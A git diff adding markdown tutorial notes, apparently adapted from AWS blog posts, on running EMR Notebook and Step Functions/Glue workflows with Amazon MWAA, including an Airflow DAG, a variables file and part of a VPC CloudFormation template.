| **Description** | **Default Value** | +| ------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------- | +| Stack name | Enter a meaningful name for the stack. We use `MWAAEmrNBDemo` for this example. Replace it with your own value. | None | +| AirflowBucketName | Name of the S3 bucket to store DAGs and support files. The S3 bucket must be in the same Region where you create the environment. The name must start with `airflow-`. Enter the S3 bucket created as a prerequisite. We use the S3 bucket `airflow-emr-demo-us-west-2` for this post. You must replace it with your own value for this field. | None | +| EnvironmentName | An MWAA environment name that is prefixed to resource names. All the resources created by this templated are named after the value saved for this field. We name our environment `mwaa-emr-blog-demo` for this post. Replace it with your own value for this field. | mwaa- | +| PrivateSubnet1CIDR | The IP range (CIDR notation) for the private subnet in the first Availability Zone. For more information, see [AWS CloudFormation VPC stack specifications](https://docs.aws.amazon.com/mwaa/latest/userguide/vpc-create.html#vpc-create-template-components). | 10.192.20.0/24 | +| PrivateSubnet2CIDR | The IP range (CIDR notation) for the private subnet in the second Availability Zone. For more information, see [AWS CloudFormation VPC stack specifications](https://docs.aws.amazon.com/mwaa/latest/userguide/vpc-create.html#vpc-create-template-components).. | 10.192.21.0/24 | +| PublicSubnet1CIDR | The IP range (CIDR notation) for the public subnet in the first Availability Zone. For more information, see [AWS CloudFormation VPC stack specifications](https://docs.aws.amazon.com/mwaa/latest/userguide/vpc-create.html#vpc-create-template-components). | 10.192.10.0/24 | +| PublicSubnet2CIDR | The IP range (CIDR notation) for the public subnet in the second Availability Zone. For more information, see [AWS CloudFormation VPC stack specifications](https://docs.aws.amazon.com/mwaa/latest/userguide/vpc-create.html#vpc-create-template-components). | 10.192.11.0/24 | +| VpcCIDR | The IP range (CIDR notation) for this VPC being created. For more information, see [AWS CloudFormation VPC stack specifications](https://docs.aws.amazon.com/mwaa/latest/userguide/vpc-create.html#vpc-create-template-components). | 10.192.0.0/16 | + + +2. Enter the parameter values from the preceding table. + +3. Review the details on the **Capabilities** section and select the check boxes confirming AWS CloudFormation might create IAM resources with custom names. + +4. Choose **Create Stack**. + - Stack creation takes a few minutes. A + - fter the CloudFormation stack is complete, on the **Resources** tab, you can find the resources being created in this CloudFormation stack. + - Now, we’re ready to run our example. + +--- + + +## Orchestrating Hive analytics jobs on EMR Notebooks using Apache Airflow + +1. As a user, first need to create the DAG file that describes how to run the analytics jobs and upload it to the dags folder under the S3 bucket specified. +2. The DAG can be triggered in Apache Airflow UI to orchestrate the job workflow, which includes + - creating an EMR cluster, + - waiting for the cluster to be ready, + - running Hive analytics jobs on EMR notebooks, + - uploading the results to Amazon S3, + - and cleaning up the cluster after the job is complete. + +![The following diagram illustrates the workflow.](https://d2908q01vomqb2.cloudfront.net/b6692ea5df920cad691c20319a6fffd7a4a766b8/2021/01/26/BDB-1140-3-1.jpg) + + +### Input notebook file + +![Let’s take a look at the following input notebook file find_best_sellers.ipynb, which we use for our example.](https://d2908q01vomqb2.cloudfront.net/b6692ea5df920cad691c20319a6fffd7a4a766b8/2021/01/26/BDB-1140-NEW.jpg) + + +input notebook file `find_best_sellers.ipynb` +- Python script that does analysis on the public [Amazon Customer Reviews Dataset](https://s3.amazonaws.com/amazon-reviews-pds/readme.html). +- It generates the top 20 best sellers in a given list of categories over a given period of time and saves the results to the given S3 output location. +- For demonstration purpose only, we rank the seller simply by the sum of review star ratings from verified purchases. + +The explanations of the default parameters in the first cell and each code block are included in the notebook itself. +- The last line in the first cell, we have `OUTPUT_LOCATION = "s3://airflow-emr-demo-us-west-2/query_output/`” as a default value for the input parameter. Replace it with your own value for the output location. You can also supply a different value for this for this parameter in the Airflow Variables later. + + +### DAG file + +The DAG file [test\_dag.py](https://aws-bigdata-blog.s3.amazonaws.com/artifacts/aws-blog-emr-mwaa/demo/dag/test_dag.py) is used to orchestrate our job flow via Apache Airflow. It performs the following tasks: + +1. Create an EMR cluster with one m5.xlarge primary and two m5.xlarge core nodes on release version 6.2.0 with Spark, Hive, Livy and JupyterEnterpriseGateway installed as applications. +2. Wait until the cluster is up and ready. +3. Run the notebook `find_best_sellers.ipynb` on the EMR cluster created in Step 1. +4. Wait until the notebook run is complete. +5. Clean up the EMR cluster. + +Here is the full source code of the DAG: + +```py + # Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. + # SPDX-License-Identifier: MIT-0 + from airflow import DAG + from airflow.operators.python_operator import PythonOperator + from time import sleep + from datetime import datetime + import boto3, time + from builtins import range + from pprint import pprint + from airflow.operators.sensors import BaseSensorOperator + from airflow.contrib.operators.emr_create_job_flow_operator import EmrCreateJobFlowOperator + from airflow.contrib.operators.emr_terminate_job_flow_operator import EmrTerminateJobFlowOperator + from airflow.contrib.sensors.emr_job_flow_sensor import EmrJobFlowSensor + from airflow.contrib.sensors.emr_step_sensor import EmrStepSensor + from airflow.contrib.hooks.emr_hook import EmrHook + from airflow.contrib.sensors.emr_base_sensor import EmrBaseSensor + from airflow.models import Variable + from airflow.utils import apply_defaults + from airflow.utils.dates import days_ago + + # Available categories: + # + # Apparel,Automotive,Baby,Beauty,Books,Camera,Digital_Ebook_Purchase,Digital_Music_Purchase, + # Digital_Software,Digital_Video_Download,Digital_Video_Games,Electronics,Furniture,Gift_Card, + # Grocery,Health_&_Personal_Care,Home,Home_Entertainment,Home_Improvement,Jewelry,Kitchen, + # Lawn_and_Garden,Luggage,Major_Appliances,Mobile_Apps,Mobile_Electronics,Music,Musical_Instruments, + # Office_Products,Outdoors,PC,Personal_Care_Appliances,Pet_Products,Shoes,Software,Sports,Tools, + # Toys,Video,Video_DVD,Video_Games,Watches,Wireless + + # =============== VARIABLES =============== + NOTEBOOK_ID = Variable.get('NOTEBOOK_ID') + NOTEBOOK_FILE_NAME = Variable.get('NOTEBOOK_FILE_NAME') + CATEGORIES_CSV = Variable.get('CATEGORIES_CSV') + REGION = Variable.get('REGION') + SUBNET_ID = Variable.get('SUBNET_ID') + EMR_LOG_URI = Variable.get('EMR_LOG_URI') + OUTPUT_LOCATION = Variable.get('OUTPUT_LOCATION') + FROM_DATE = Variable.get('FROM_DATE') + TO_DATE = Variable.get('TO_DATE') + # ========================================= + + JOB_FLOW_OVERRIDES = { + 'Name': 'Test-Cluster', + 'ReleaseLabel': 'emr-6.2.0', + 'Applications': [{'Name':'Spark'}, {'Name':'Hive'}, {'Name':'Livy'}, {'Name':'JupyterEnterpriseGateway'}], + 'Configurations': [ + { + "Classification": "hive-site", + "Properties": { + "hive.execution.engine": "spark" + } + } + ], + 'Instances': { + 'Ec2SubnetId': SUBNET_ID, + 'InstanceGroups': [ + { + 'Name': 'Master node', + 'Market': 'ON_DEMAND', + 'InstanceRole': 'MASTER', + 'InstanceType': 'm5.xlarge', + 'InstanceCount': 1, + }, + { + 'Name': 'Core node', + 'Market': 'ON_DEMAND', + 'InstanceRole': 'CORE', + 'InstanceType': 'm5.xlarge', + 'InstanceCount': 2, + } + ], + 'KeepJobFlowAliveWhenNoSteps': True, + 'TerminationProtected': False, + }, + 'JobFlowRole': 'EMR_EC2_DefaultRole', + 'ServiceRole': 'EMR_DefaultRole', + 'LogUri': EMR_LOG_URI + } + + + class CustomEmrJobFlowSensor(EmrJobFlowSensor): + NON_TERMINAL_STATES = ['STARTING', 'BOOTSTRAPPING', 'TERMINATING'] + + class NotebookExecutionSensor(EmrBaseSensor): + NON_TERMINAL_STATES = ['START_PENDING', 'STARTING', 'RUNNING', 'FINISHING', 'STOP_PENDING', 'STOPPING'] + FAILED_STATE = ['FAILING', 'FAILED'] + template_fields = ['notebook_execution_id'] + template_ext = () + @apply_defaults + def __init__(self, notebook_execution_id, *args, **kwargs): + super(NotebookExecutionSensor, self).__init__(*args, **kwargs) + self.notebook_execution_id = notebook_execution_id + def get_emr_response(self): + emr = EmrHook(aws_conn_id=self.aws_conn_id).get_conn() + self.log.info('Poking notebook execution %s', self.notebook_execution_id) + return emr.describe_notebook_execution(NotebookExecutionId=self.notebook_execution_id) + @staticmethod + def state_from_response(response): + return response['NotebookExecution']['Status'] + @staticmethod + def failure_message_from_response(response): + state_change_reason = response['NotebookExecution']['LastStateChangeReason'] + if state_change_reason: + return 'Execution failed with reason: ' + state_change_reason + return None + + def start_execution(**context): + ti = context['task_instance'] + cluster_id = ti.xcom_pull(key='return_value', task_ids='create_cluster_task') + print("Starting an execution using cluster: " + cluster_id) + # generate a JSON key-pair of , e.g. + # "\"CATEGORIES\": [\"Apparel\", \"Automotive\", \"Baby\", \"Books\"]" + categories_escaped_quotes = "" + for category in CATEGORIES_CSV.split(','): + categories_escaped_quotes = categories_escaped_quotes + "\"" + category + "\"," + categories_escaped_quotes = categories_escaped_quotes[:-1] + categories_parameter = "\"CATEGORIES\" : [" + categories_escaped_quotes + "]" + + output_location_parameter = "\"OUTPUT_LOCATION\": \"" + OUTPUT_LOCATION + "\"" + from_date_parameter = "\"FROM_DATE\": \"" + FROM_DATE + "\"" + to_date_parameter = "\"TO_DATE\": \"" + TO_DATE + "\"" + parameters = f"{{ {categories_parameter}, {output_location_parameter}, {from_date_parameter}, {to_date_parameter} }}" + emr = boto3.client('emr', region_name=REGION) + start_resp = emr.start_notebook_execution( + EditorId=NOTEBOOK_ID, + RelativePath=NOTEBOOK_FILE_NAME, + ExecutionEngine={'Id': cluster_id, 'Type': 'EMR'}, + NotebookParams=parameters, + ServiceRole='EMR_Notebooks_DefaultRole' + ) + execution_id = start_resp['NotebookExecutionId'] + print("Started an execution: " + execution_id) + return execution_id + + + + with DAG('test_dag', description='test dag', schedule_interval='0 * * * *', start_date=datetime(2020,3,30), catchup=False) as dag: + create_cluster = EmrCreateJobFlowOperator( + task_id='create_cluster_task', + job_flow_overrides=JOB_FLOW_OVERRIDES, + aws_conn_id='aws_default', + emr_conn_id='emr_default', + ) + cluster_sensor = CustomEmrJobFlowSensor( + task_id='check_cluster_task', + job_flow_id="{{ task_instance.xcom_pull(task_ids='create_cluster_task', key='return_value') }}", + aws_conn_id='aws_default', + ) + start_execution = PythonOperator( + task_id='start_execution_task', + python_callable=start_execution, + provide_context=True + ) + execution_sensor = NotebookExecutionSensor( + task_id='check_execution_task', + notebook_execution_id="{{ task_instance.xcom_pull(task_ids='start_execution_task', key='return_value') }}", + aws_conn_id='aws_default', + ) + + cluster_remover = EmrTerminateJobFlowOperator( + task_id='terminate_cluster', + job_flow_id="{{ task_instance.xcom_pull(task_ids='create_cluster_task', key='return_value') }}", + aws_conn_id='aws_default', + ) + + create_cluster >> cluster_sensor >> start_execution >> execution_sensor >> cluster_remover +``` + +The very last line of the DAG code explains how the tasks are linked in the orchestration workflow. +- It’s [overloading](https://docs.python.org/3/reference/datamodel.html#emulating-numeric-types) the right shift `>>` operator to create a dependency, meaning that the task on the left should be run first, and the output passed to the task on the right. + +Instead of hard-coding the variables in the DAG code, we choose to supply these variables by importing a JSON file in the Airflow UI before actually running the DAG. This way, we can also update the variables without having to update the DAG code, which requires updating the DAG file in Amazon S3. We walk you through how to do so in the later steps. + +1. the lines for `VARIABLES` that we repeated: + +```bash + # =============== VARIABLES =============== + NOTEBOOK_ID = Variable.get('NOTEBOOK_ID') + NOTEBOOK_FILE_NAME = Variable.get('NOTEBOOK_FILE_NAME') + CATEGORIES_CSV = Variable.get('CATEGORIES_CSV') + REGION = Variable.get('REGION') + SUBNET_ID = Variable.get('SUBNET_ID') + EMR_LOG_URI = Variable.get('EMR_LOG_URI') + OUTPUT_LOCATION = Variable.get('OUTPUT_LOCATION') + FROM_DATE = Variable.get('FROM_DATE') + TO_DATE = Variable.get('TO_DATE') +``` + +2. create a JSON formatted file named `variables.json` + +```json + { + "REGION": "us-west-2", + "SUBNET_ID": "", + "EMR_LOG_URI": "s3:///", + "NOTEBOOK_ID": "", + "NOTEBOOK_FILE_NAME": "find_best_sellers.ipynb", + "CATEGORIES_CSV": "Apparel,Automotive,Baby,Beauty,Books", + "FROM_DATE": "2015-08-25", + "TO_DATE": "2015-08-31", + "OUTPUT_LOCATION": "s3:///" + } +``` + + +### Accessing Apache Airflow UI and running the workflow + +To run the workflow, complete the following steps: + +1. On the Amazon MWAA console, find the new environment `mwaa-emr-blog-demo` we created earlier with the CloudFormation template. + - ![On the Amazon MWAA console, find the new environment mwaa-emr-blog-demo we created earlier with the CloudFormation template.](https://d2908q01vomqb2.cloudfront.net/b6692ea5df920cad691c20319a6fffd7a4a766b8/2021/01/26/BDB-1140-MISSING.jpg) + + +2. Choose **Open Airflow UI**. + +3. Log in as an authenticated user. + - ![Log in as an authenticated user.](https://d2908q01vomqb2.cloudfront.net/b6692ea5df920cad691c20319a6fffd7a4a766b8/2021/01/26/BDB-1140-5.jpg) + - import the JSON file for the variables into Airflow UI. + - to supply the variable values for our DAG definition later upon triggering the DAG in Airflow UI instead of hard-coding the values. + +4. On the **Admin** menu, choose **Variables**. +5. Choose **Browse**. +6. Choose **json**. +7. Choose **Import Variables**. + - ![pic](https://d2908q01vomqb2.cloudfront.net/b6692ea5df920cad691c20319a6fffd7a4a766b8/2021/01/26/BDB-1140-MISSING-2.jpg) + +8. Run the following command in the same directory as where file `test_dag.py` is to upload the DAG file to the `dags` folder under the S3 bucket specified for the Airflow environment. + - Replace `<**your\_airflow\_bucket\_name**_\>_` with the S3 bucket name that you created as a prerequisite: + - `test_dag.py` should automatically appear in the Airflow UI. + +```bash +aws s3 cp test_dag.py s3:///dags/ +``` + +9. Trigger the DAG by turning it to **On** + - ![Trigger the DAG by turning it to On](https://d2908q01vomqb2.cloudfront.net/b6692ea5df920cad691c20319a6fffd7a4a766b8/2021/01/26/BDB-1140-7.jpg) + +10. Choose **test\_dag** + - go to the detail page for the DAG. + - On the **Graph View** tab, we can see the whole workflow of our pipeline and each individual task as defined in our DAG code. + - ![On the Graph View tab, we can see the whole workflow of our pipeline and each individual task as defined in our DAG code.](https://d2908q01vomqb2.cloudfront.net/b6692ea5df920cad691c20319a6fffd7a4a766b8/2021/01/26/BDB-1140-8.jpg) + + +11. Optionally, to trigger the DAG, choose **Trigger DAG** and add the following JSON formatted configuration before activate the DAG. + - ![Optionally, to trigger the DAG, choose Trigger DAG and add the following JSON formatted configuration before activate the DAG.](https://d2908q01vomqb2.cloudfront.net/b6692ea5df920cad691c20319a6fffd7a4a766b8/2021/01/26/BDB-1140-9.jpg) + - You now get an email when failure happens on any of the tasks. + - You can also configure to get email notification when retry happens as well. + +12. On the Amazon EMR console, find the EMR cluster created by the `create_cluster_task` definition. + - ![On the Amazon EMR console, find the EMR cluster created by the create_cluster_task definition.](https://d2908q01vomqb2.cloudfront.net/b6692ea5df920cad691c20319a6fffd7a4a766b8/2021/01/26/BDB-1140-10.jpg) + +13. On the Airflow UI, you can switch tabs to check the status of the workflow tasks. + - see on the **Tree View** tab that the workflow is complete and all the tasks are successful. + - ![After a few minutes, we can see on the Tree View tab that the workflow is complete and all the tasks are successful.](https://d2908q01vomqb2.cloudfront.net/b6692ea5df920cad691c20319a6fffd7a4a766b8/2021/01/26/BDB-1140-11.jpg) + - On the **Gantt** tab, we can see the time distribution of all the tasks of our workflow. + - ![On the Gantt tab, we can see the time distribution of all the tasks of our workflow.](https://d2908q01vomqb2.cloudfront.net/b6692ea5df920cad691c20319a6fffd7a4a766b8/2021/01/26/BDB-1140-12.jpg) + - As specified in our DAG definition, the EMR cluster is stopped when the workflow is complete. + - Because we use the cron expression `0 * * * *` as the scheduled running interval for our workflow, if the triggered status of the DAG is **ON**, it runs every hour. You need to switch the status to **OFF** if you don’t want it to run again. + +14. On the Amazon S3 console, view the result of our notebook job in the S3 folder. + - ![On the Amazon S3 console, view the result of our notebook job in the S3 folder.](https://d2908q01vomqb2.cloudfront.net/b6692ea5df920cad691c20319a6fffd7a4a766b8/2021/01/26/BDB-1140-13.jpg) + + +For example, the following screenshot is the output for the `Books` category that we provided as a value in the `CATEGORIES` parameter. As we can see, `Go Set a Watchman: A Novel` is the best `Books` seller from the week of 8-25-2015 to 8-31-2015. + +![As we can see, Go Set a Watchman: A Novel is the best Books seller from the week of 8-25-2015 to 8-31-2015.](https://d2908q01vomqb2.cloudfront.net/b6692ea5df920cad691c20319a6fffd7a4a766b8/2021/01/26/BDB-1140-14.jpg) + + + +--- + + +# setup MWAA with AWS Step Functions, AWS Glue, and Amazon EMR + +[Amazon Managed Workflows for Apache Airflow](https://aws.amazon.com/managed-workflows-for-apache-airflow/) (Amazon MWAA) is a fully managed service that makes it easy to run open-source versions of Apache Airflow on AWS and build workflows to run your [extract, transform, and load](https://en.wikipedia.org/wiki/Extract,_transform,_load) (ETL) jobs and data pipelines. + +You can use [AWS Step Functions](https://aws.amazon.com/step-functions/) as a serverless function orchestrator to build scalable big data pipelines using services such as [Amazon EMR](https://aws.amazon.com/emr/) to run Apache Spark and other open-source applications on AWS in a cost-effective manner, and use [AWS Glue](https://aws.amazon.com/glue/) for a serverless environment to prepare (extract and transform) and load large amounts of datasets from a variety of sources for analytics and data processing with Apache Spark ETL jobs + +For production pipelines, a common use case is to read data originating from a variety of sources. This data requires transformation to extract business value and generate insights before sending to downstream applications, such as machine learning algorithms, analytics dashboards, and business reports. + +This post demonstrates how to use Amazon MWAA as a primary workflow management service to create and run complex workflows and extend the directed acyclic graph (DAG) to start and monitor a state machine created using Step Functions. In Airflow, a DAG is a collection of all the tasks you want to run, organized in a way that reflects their relationships and dependencies. + +Architectural overview +---------------------- + +The following diagram illustrates the architectural overview of the components involved in the orchestration of the workflow. This workflow uses Amazon EMR to preprocess data and starts a Step Functions state machine. The state machine transforms data using AWS Glue. + +![The state machine transforms data using AWS Glue.](https://d2908q01vomqb2.cloudfront.net/b6692ea5df920cad691c20319a6fffd7a4a766b8/2021/01/05/BDB1205-1.jpg) + +![The state machine transforms data using AWS Glue.](data:image/svg+xml,%3Csvg%20xmlns=%22https://www.w3.org/2000/svg%22%20viewBox=%220%200%20800%20450%22%3E%3C/svg%3E) + +The workflow includes the following core components: + +1. Airflow Scheduler triggers the DAG based on a schedule or manually. +2. DAG uses `PythonOperator` to create an EMR cluster and waits for the cluster creation process to complete. +3. DAG uses a custom operator `EmrSubmitAndMonitorStepOperator` to submit and monitor the Amazon EMR step. +4. DAG uses `PythonOperator` to stop the EMR cluster when the preprocessing tasks are complete. +5. DAG starts a Step Functions state machine and monitors it for completion using `PythonOperator`. + +You can build complex ETL pipelines with Step Functions separately and trigger them from an Airflow DAG. + +Prerequisites +------------- + +Before starting, create an Amazon MWAA environment. If this is your first time using Amazon MWAA, see [Introducing Amazon Managed Workflows for Apache Airflow (MWAA)](https://aws.amazon.com/blogs/aws/introducing-amazon-managed-workflows-for-apache-airflow-mwaa/). + +Take a note of the [Amazon Simple Storage Service](https://aws.amazon.com/s3) (Amazon S3) bucket that stores the DAGs. It’s located on the environment details page on the Amazon MWAA console. + +![Take a note of the Amazon Simple Storage Service (Amazon S3) bucket that stores the DAGs.](https://d2908q01vomqb2.cloudfront.net/b6692ea5df920cad691c20319a6fffd7a4a766b8/2021/01/05/BDB1205-2.jpg) + +![Take a note of the Amazon Simple Storage Service (Amazon S3) bucket that stores the DAGs.](data:image/svg+xml,%3Csvg%20xmlns=%22https://www.w3.org/2000/svg%22%20viewBox=%220%200%20800%20370%22%3E%3C/svg%3E) + +Also note the [AWS Identity and Access Management](https://aws.amazon.com/iam) (IAM) execution role. This role should be modified to allow MWAA to read and write from your S3 bucket, submit an Amazon EMR step, start a Step Functions state machine, and read from the [AWS Systems Manager Parameter Store](https://docs.aws.amazon.com/systems-manager/latest/userguide/systems-manager-parameter-store.html). The IAM role is available in the **Permissions** section of the environment details. + +![The IAM role is available in the Permissions section of the environment details.](https://d2908q01vomqb2.cloudfront.net/b6692ea5df920cad691c20319a6fffd7a4a766b8/2021/01/05/BDB1205-3.jpg) + +![The IAM role is available in the Permissions section of the environment details.](data:image/svg+xml,%3Csvg%20xmlns=%22https://www.w3.org/2000/svg%22%20viewBox=%220%200%20800%20390%22%3E%3C/svg%3E) + +The solution references Systems Manager parameters in an [AWS CloudFormation](https://aws.amazon.com/cloudformation) template and scripts. For information on adding and removing IAM identity permissions, see [Adding and removing IAM identity permissions](https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies_manage-attach-detach.html). A sample IAM policy is also provided in the GitHub repository [amazon-mwaa-complex-workflow-using-step-functions](https://github.com/aws-samples/amazon-mwaa-complex-workflow-using-step-functions/blob/main/setup/additional_policy.json). + +For this post, we use the [MovieLens dataset](https://grouplens.org/datasets/movielens/latest/). We concurrently convert the MovieLens CSV files to Parquet format and save them to Amazon S3 as part of preprocessing. + +Setting up the state machine using Step Functions +------------------------------------------------- + +Our solution extends the ETL pipeline to run a Step Functions state machine from the Airflow DAG. Step Functions lets you build visual workflows that enable fast translation of business requirements into technical requirements. With Step Functions, you can set up dependency management and failure handling using a JSON-based template. A _workflow_ is a series of steps, such as tasks, choices, parallel runs, and timeouts with the output of one step acting as input into the next. For more information about other use cases, see [AWS Step Functions Use Cases](https://aws.amazon.com/step-functions/use-cases/). + +The following diagram shows the ETL process set up through a Step Functions state machine. + +![The following diagram shows the ETL process set up through a Step Functions state machine.](https://d2908q01vomqb2.cloudfront.net/b6692ea5df920cad691c20319a6fffd7a4a766b8/2021/01/05/BDB1205-4.jpg) + + +In the workflow, the Process Data step runs an AWS Glue job, and the Get Job Status step periodically checks for the job completion. The AWS Glue job reads the input datasets and creates output data for the most popular movies and top-rated movies. After the job is complete, the Run Glue Crawler step runs an AWS Glue crawler to catalog the data. The workflow also allows you to monitor and respond to failures at any stage. + +Creating resources +------------------ + +Create your resources by following the installation instructions provided in the [amazon-mwaa-complex-workflow-using-step-functions](https://github.com/aws-samples/amazon-mwaa-complex-workflow-using-step-functions) README.md. + +Running the ETL workflow +------------------------ + +To run your ETL workflow, complete the following steps: + +1. On the Amazon MWAA console, choose **Open Airflow UI**. +2. Locate the `mwaa_movielens_demo` DAG. +3. Turn on the DAG. + +![Turn on the DAG.](https://d2908q01vomqb2.cloudfront.net/b6692ea5df920cad691c20319a6fffd7a4a766b8/2021/01/05/BDB1205-5.jpg) + + + +4. Select the `mwaa_movielens_demo` DAG and choose **Graph View**. + +This displays the overall ETL pipeline managed by Airflow. + +![This displays the overall ETL pipeline managed by Airflow.](https://d2908q01vomqb2.cloudfront.net/b6692ea5df920cad691c20319a6fffd7a4a766b8/2021/01/05/BDB1205-6.jpg) + + +5. To view the DAG code, choose **Code**. + +![To view the DAG code, choose Code.](https://d2908q01vomqb2.cloudfront.net/b6692ea5df920cad691c20319a6fffd7a4a766b8/2021/01/05/BDB1205-7.jpg) + + +The code for the custom operator can be found in the [amazon-mwaa-complex-workflow-using-step-functions](https://github.com/aws-samples/amazon-mwaa-complex-workflow-using-step-functions/blob/main/dags/mwaalib/emr_submit_and_monitor_step.py) GitHub repo. + +6. From the Airflow UI, select the mwaa\_movielens\_demo DAG and choose **Trigger DAG**. +7. Leave the **Optional Configuration** JSON box blank. + +![Leave the Optional Configuration JSON box blank.](https://d2908q01vomqb2.cloudfront.net/b6692ea5df920cad691c20319a6fffd7a4a766b8/2021/01/05/BDB1205-8.jpg) + +When the Airflow DAG runs, the first task calls the `PythonOperator` to create an EMR cluster using Boto3. Boto is the AWS SDK for Python. It enables Python developers to create, configure, and manage AWS services, such as [Amazon Elastic Compute Cloud](https://aws.amazon.com/ec2) (Amazon EC2) and Amazon S3. Boto provides object-oriented API, as well as low-level access to AWS services. + +The second task waits until the EMR cluster is ready and in the Waiting state. As soon as the cluster is ready, the data load task runs, followed by the data preprocessing tasks, which are started in parallel using `EmrSubmitAndMonitorStepOperator`. Concurrency in the current Airflow DAG is set to 3, which runs three tasks in parallel. You can change the concurrency of Amazon EMR to run multiple Amazon EMR steps in parallel. + +When the data preprocessing tasks are complete, the EMR cluster is stopped and the DAG starts the Step Functions state machine to initiate data transformation. + +The final task in the DAG monitors the completion of the Step Functions state machine. + +The DAG run should complete in approximately 10 minutes. + +Verifying the DAG run +--------------------- + +While the DAG is running, you can view the task logs. + +1. From **Graph View**, select any task and choose **View Log**. + +![From Graph View, select any task and choose View Log.](https://d2908q01vomqb2.cloudfront.net/b6692ea5df920cad691c20319a6fffd7a4a766b8/2021/01/05/BDB1205-9.jpg) + + + +2. When the DAG starts the Step Functions state machine, verify the status on the Step Functions console. + +![When the DAG starts the Step Functions state machine, verify the status on the Step Functions console.](https://d2908q01vomqb2.cloudfront.net/b6692ea5df920cad691c20319a6fffd7a4a766b8/2021/01/05/BDB1205-10.jpg) + + + +3. You can also monitor ETL process completion from the Airflow UI. + +![You can also monitor ETL process completion from the Airflow UI.](https://d2908q01vomqb2.cloudfront.net/b6692ea5df920cad691c20319a6fffd7a4a766b8/2021/01/05/BDB1205-11.jpg) + + + +4. On the Airflow UI, verify the completion from the log entries. + +![On the Airflow UI, verify the completion from the log entries.](https://d2908q01vomqb2.cloudfront.net/b6692ea5df920cad691c20319a6fffd7a4a766b8/2021/01/05/BDB1205-12.jpg) + + + +Querying the data +----------------- + +After the successful completion of the Airflow DAG, two tables are created in the AWS Glue Data Catalog. To query the data with [Amazon Athena](https://aws.amazon.com/athena), complete the following steps: + +1. On the Athena console, choose **Databases**. +2. Select the `mwaa-movielens-demo-db` database. + +You should see the two tables. If the tables aren’t listed, verify that the AWS Glue crawler run is complete and that the console is showing the correct Region. + +3. Run the following query: + + SELECT * FROM "mwaa-movielens-demo-db"."most_popular_movies" limit 10; + + +The following screenshot shows the output. + +![The following screenshot shows the output.](https://d2908q01vomqb2.cloudfront.net/b6692ea5df920cad691c20319a6fffd7a4a766b8/2021/01/05/BDB1205-13.jpg) + + + + --- diff --git a/_posts/01Cloud/01AWS/Management/MWAA-template.md b/_posts/01Cloud/01AWS/Management/MWAA-template.md new file mode 100644 index 00000000000..44f8f1dc573 --- /dev/null +++ b/_posts/01Cloud/01AWS/Management/MWAA-template.md @@ -0,0 +1,615 @@ + +[toc] + + +## Amazon MWAA AWS CloudFormation template + +![BDB-1140-1](https://i.imgur.com/eqV5cHY.jpg) + +--- + + +## setup the networks + +```yaml +# $ aws cloudformation create-stack \ +# --stack-name mwaaenvironment \ +# --template-body file://vpctemplate.yaml + + +Description: This template deploys a VPC, with a pair of public and private subnets spread across two Availability Zones. It deploys an internet gateway, with a default route on the public subnets. It deploys a pair of NAT gateways (one in each AZ), and default routes for them in the private subnets. + +Parameters: + EnvironmentName: + Description: An environment name that is prefixed to resource names + Type: String + Default: mwaa- + + VpcCIDR: + Description: Please enter the IP range (CIDR notation) for this VPC + Type: String + Default: 10.192.0.0/16 + + PublicSubnet1CIDR: + Description: Please enter the IP range (CIDR notation) for the public subnet in the first Availability Zone + Type: String + Default: 10.192.10.0/24 + + PublicSubnet2CIDR: + Description: Please enter the IP range (CIDR notation) for the public subnet in the second Availability Zone + Type: String + Default: 10.192.11.0/24 + + PrivateSubnet1CIDR: + Description: Please enter the IP range (CIDR notation) for the private subnet in the first Availability Zone + Type: String + Default: 10.192.20.0/24 + + PrivateSubnet2CIDR: + Description: Please enter the IP range (CIDR notation) for the private subnet in the second Availability Zone + Type: String + Default: 10.192.21.0/24 + +Resources: + VPC: + Type: AWS::EC2::VPC + Properties: + CidrBlock: !Ref VpcCIDR + EnableDnsSupport: true + EnableDnsHostnames: true + Tags: + - Key: Name + Value: !Ref EnvironmentName + + InternetGateway: + Type: AWS::EC2::InternetGateway + Properties: + Tags: + - Key: Name + Value: !Ref EnvironmentName + + InternetGatewayAttachment: + Type: AWS::EC2::VPCGatewayAttachment + Properties: + InternetGatewayId: !Ref InternetGateway + VpcId: !Ref VPC + + PublicSubnet1: + Type: AWS::EC2::Subnet + Properties: + VpcId: !Ref VPC + AvailabilityZone: !Select [ 0, !GetAZs '' ] + CidrBlock: !Ref PublicSubnet1CIDR + MapPublicIpOnLaunch: true + Tags: + - Key: Name + Value: !Sub ${EnvironmentName} Public Subnet (AZ1) + + PublicSubnet2: + Type: AWS::EC2::Subnet + Properties: + VpcId: !Ref VPC + AvailabilityZone: !Select [ 1, !GetAZs '' ] + CidrBlock: !Ref PublicSubnet2CIDR + MapPublicIpOnLaunch: true + Tags: + - Key: Name + Value: !Sub ${EnvironmentName} Public Subnet (AZ2) + + PrivateSubnet1: + Type: AWS::EC2::Subnet + Properties: + VpcId: !Ref VPC + AvailabilityZone: !Select [ 0, !GetAZs '' ] + CidrBlock: !Ref PrivateSubnet1CIDR + MapPublicIpOnLaunch: false + Tags: + - Key: Name + Value: !Sub ${EnvironmentName} Private Subnet (AZ1) + + PrivateSubnet2: + Type: AWS::EC2::Subnet + Properties: + VpcId: !Ref VPC + AvailabilityZone: !Select [ 1, !GetAZs '' ] + CidrBlock: !Ref PrivateSubnet2CIDR + MapPublicIpOnLaunch: false + Tags: + - Key: Name + Value: !Sub ${EnvironmentName} Private Subnet (AZ2) + + NatGateway1EIP: + Type: AWS::EC2::EIP + DependsOn: InternetGatewayAttachment + Properties: + Domain: vpc + + NatGateway2EIP: + Type: AWS::EC2::EIP + DependsOn: InternetGatewayAttachment + Properties: + Domain: vpc + + NatGateway1: + Type: AWS::EC2::NatGateway + Properties: + AllocationId: !GetAtt NatGateway1EIP.AllocationId + SubnetId: !Ref PublicSubnet1 + + NatGateway2: + Type: AWS::EC2::NatGateway + Properties: + AllocationId: !GetAtt NatGateway2EIP.AllocationId + SubnetId: !Ref PublicSubnet2 + + PublicRouteTable: + Type: AWS::EC2::RouteTable + Properties: + VpcId: !Ref VPC + Tags: + - Key: Name + Value: !Sub ${EnvironmentName} Public Routes + + DefaultPublicRoute: + Type: AWS::EC2::Route + DependsOn: InternetGatewayAttachment + Properties: + RouteTableId: !Ref PublicRouteTable + DestinationCidrBlock: 0.0.0.0/0 + GatewayId: !Ref InternetGateway + + PublicSubnet1RouteTableAssociation: + Type: 